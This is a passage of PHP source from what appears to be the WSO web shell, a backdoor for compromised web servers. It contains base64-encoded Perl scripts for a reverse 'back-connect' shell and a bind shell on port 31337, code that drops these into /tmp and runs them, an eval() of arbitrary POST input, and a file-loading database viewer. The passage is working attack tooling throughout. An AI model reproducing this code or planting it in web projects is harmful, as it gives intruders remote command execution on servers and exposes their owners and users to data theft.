1341 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1342 $line = 1;
1343 while($item = $db->fetch()) {
1344 if(!$title) {
1345 echo '<tr>';
1346 foreach($item as $key => $value)
1347 echo '<th>'.$key.'</th>';
1348 reset($item);
1349 $title=true;
1350 echo '</tr><tr>';
1351 $line = 2;
1352 }
1353 echo '<tr class="l'.$line.'">';
1354 $line = $line==1?2:1;
1355 foreach($item as $key => $value) {
1356 if($value == null)
1357 echo '<td><i>null</i></td>';
1358 else
1359 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1360 }
1361 echo '</tr>';
1362 }
1363 echo '</table>';
1364 } else {
1365 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1366 }
1367 }
1368 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1369 echo "</td></tr>";
1370 }
1371 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1372 if(@$_POST['p1'] == 'loadfile') {
1373 $file = $db->loadFile($_POST['p2']);
1374 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1375 }
1376 }
1377 echo '</div>';
1378 wsoFooter();
1379}
1380function actionNetwork() {
1381 wsoHeader();
1382 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1383 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1384 echo "<h1>Network tools</h1><div class=content>
1385 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1386 <span>Bind port to /bin/sh [perl]</span><br/>
1387 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1388 </form>
1389 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1390 <span>Back-connect [perl]</span><br/>
1391 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1392 </form><br>";
1393 if(isset($_POST['p1'])) {
1394 function cf($f,$t) {
1395 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1396 if($w) {
1397 @fwrite($w,@base64_decode($t));
1398 @fclose($w);
1399 }
1400 }
1401 if($_POST['p1'] == 'bpp') {
1402 cf("/tmp/bp.pl",$bind_port_p);
1403 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1404 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1405 }
1406 if($_POST['p1'] == 'bcp') {
1407 cf("/tmp/bc.pl",$back_connect_p);
1408 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1409 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1410 }
1411 }
1412 echo '</div>';
1413 wsoFooter();
1414}
1415function actionRC() {
1416 if(!@$_POST['p1']) {
1417 $a = array(
1418 "uname" => php_uname(),
1419 "php_version" => phpversion(),
1420 "wso_version" => VERSION,
1421 "safemode" => @ini_get('safe_mode')
1422 );
1423 echo serialize($a);
1424 } else {
1425 eval($_POST['p1']);
1426 }
1427}
1428if( empty($_POST['a']) )
1429 if(isset($default_action) && function_exists('action' . $default_action))
1430 $_POST['a'] = $default_action;
1431 else
1432 $_POST['a'] = 'SecInfo';
1433if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1434 call_user_func('action' . $_POST['a']);
1435exit;